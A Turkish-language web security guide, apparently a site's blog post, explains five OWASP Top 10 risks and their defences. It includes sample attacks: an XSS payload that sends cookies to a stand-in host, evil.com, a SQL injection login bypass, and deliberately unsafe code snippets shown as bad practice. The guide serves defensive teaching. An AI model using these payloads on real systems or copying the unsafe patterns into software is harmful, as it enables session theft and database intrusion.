Web uygulamaları her gün milyonlarca saldırıya maruz kalır. OWASP (Open Web Application Security Project), web güvenliğindeki en kritik riskleri derleyen ve düzenli olarak güncelleyen bağımsız bir topluluktur. Bu rehberde, OWASP Top 10 listesindeki en yaygın ve tehlikeli 5 güvenlik açığını, nasıl çalıştıklarını ve nasıl önleneceğini inceliyoruz.
1. Cross-Site Scripting (XSS)
XSS, saldırganın kötü amaçlı JavaScript kodunu güvenilir bir web sitesine enjekte etmesidir. Kullanıcılar bu sayfayı ziyaret ettiğinde, enjekte edilen kod tarayıcılarında çalışır.
XSS Türleri
- Reflected XSS: Kötü amaçlı kod URL parametresi üzerinden gönderilir ve sayfa yanıtında yansıtılır
- Stored XSS: Kod veritabanına kaydedilir (örneğin bir yorum alanına) ve sayfayı gören herkesi etkiler
- DOM-based XSS: Kod sunucuya hiç gitmez, doğrudan istemci tarafı JavaScript ile DOM'a enjekte edilir
Örnek Saldırı
<!-- Güvenli olmayan kullanım -->
<div>Hoş geldiniz, <%= request.getParameter("name") %></div>
<!-- Saldırgan şu URL'yi oluşturur: -->
?name=<script>document.location='https://evil.com/?c='+document.cookie</script>
Korunma Yöntemleri
- Tüm kullanıcı girdilerini HTML encode edin
- Content Security Policy (CSP) başlığı kullanın
- Modern framework'ler kullanın — React, Angular gibi framework'ler varsayılan olarak XSS koruması sağlar
HttpOnlyveSecureçerez bayraklarını kullanın
2. SQL Injection
SQL Injection, saldırganın uygulama aracılığıyla veritabanına zararlı SQL komutları göndermesidir. Başarılı bir saldırı, tüm veritabanını okumaya, değiştirmeye veya silmeye olanak tanır.
Örnek Saldırı
-- Güvenli olmayan sorgu
SELECT * FROM users WHERE username = '$input' AND password = '$pass';
-- Saldırgan username alanına şunu girer:
' OR '1'='1' --
-- Sonuç: Tüm kullanıcılar döner, şifre kontrolü atlanır
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '';
Korunma Yöntemleri
- Parameterized queries (Prepared Statements): En etkili yöntemdir
- ORM (Object-Relational Mapping) kullanın
- Veritabanı kullanıcı yetkilerini minimum düzeyde tutun
- Hata mesajlarında veritabanı bilgisi göstermeyin
// Güvenli yöntem — Prepared Statement (Node.js örneği)
const query = 'SELECT * FROM users WHERE username = $1 AND password = $2';
const result = await db.query(query, [username, hashedPassword]);
3. Cross-Site Request Forgery (CSRF)
CSRF, kullanıcının tarayıcısındaki oturum bilgisini kullanarak, kullanıcının bilgisi dışında istek göndermektir. Örneğin, bir bankacılık sitesinde oturum açıkken, kötü amaçlı bir sayfa para transferi başlatabilir.
Nasıl Çalışır?
- Kullanıcı bank.com'da oturum açar (çerez oluşturulur)
- Kullanıcı aynı tarayıcıda evil.com'u ziyaret eder
- evil.com gizli bir form ile bank.com'a para transferi isteği gönderir
- Tarayıcı çerezi otomatik gönderir — banka isteğin gerçek kullanıcıdan geldiğini sanır
Korunma Yöntemleri
- CSRF Token: Her form isteğine sunucu tarafından üretilen benzersiz bir token ekleyin
SameSiteçerez özniteliğiniStrictveyaLaxolarak ayarlayın- Kritik işlemlerde ek doğrulama (örneğin şifre onayı) isteyin
4. Broken Authentication (Kırık Kimlik Doğrulama)
Kimlik doğrulama ve oturum yönetimindeki zayıflıklar, saldırganların başka kullanıcıların hesaplarına erişmesine olanak tanır.
Yaygın Hatalar
- Zayıf şifre politikası (minimum uzunluk veya karmaşıklık yok)
- Brute-force saldırılara karşı koruma yok (rate limiting eksik)
- Oturum token'larının URL'de taşınması
- Çıkış sonrası oturumun geçersiz kılınmaması
- Şifrelerin düz metin veya zayıf hash ile saklanması
Korunma Yöntemleri
- Çok faktörlü kimlik doğrulama (MFA) uygulayın
- Şifreleri bcrypt, scrypt veya Argon2 ile hash'leyin
- Giriş denemelerini sınırlayın ve hesap kilitleme politikası belirleyin
- Oturum token'larını güvenli ve HttpOnly çerezlerde saklayın
5. Security Misconfiguration (Güvenlik Yapılandırma Hataları)
Varsayılan ayarların değiştirilmemesi, gereksiz servislerin açık bırakılması veya hata mesajlarının detaylı bilgi vermesi gibi yapılandırma hataları çok yaygındır.
Yaygın Örnekler
- Varsayılan yönetici şifrelerinin değiştirilmemesi
- Dizin listelemenin (directory listing) açık bırakılması
- Stack trace veya veritabanı hata detaylarının kullanıcıya gösterilmesi
- Gereksiz HTTP başlıklarının (X-Powered-By) gönderilmesi
- Güvenlik başlıklarının (CSP, HSTS, X-Frame-Options) eksik olması
Korunma Yöntemleri
- Sunucuyu hardening (sıkılaştırma) kontrol listesiyle yapılandırın
- Gereksiz port, servis ve modülleri kapatın
- Güvenlik başlıklarını eksiksiz yapılandırın
- Düzenli güvenlik taramaları çalıştırın
- Hata mesajlarında teknik detay göstermeyin
Web sitenizin güvenlik başlıklarını kontrol etmek mi istiyorsunuz? SiteScripti'nin Güvenlik Başlıkları Analizi aracıyla HTTP başlıklarınızı test edin. Ayrıca Çerez Güvenlik Analizi ile çerezlerinizin güvenli yapılandırılıp yapılandırılmadığını kontrol edin.
Bu konuyla ilgili araçlarımızı da deneyin: Güvenlik Başlıkları Analiz, SSL Kontrol, Şifre Oluşturucu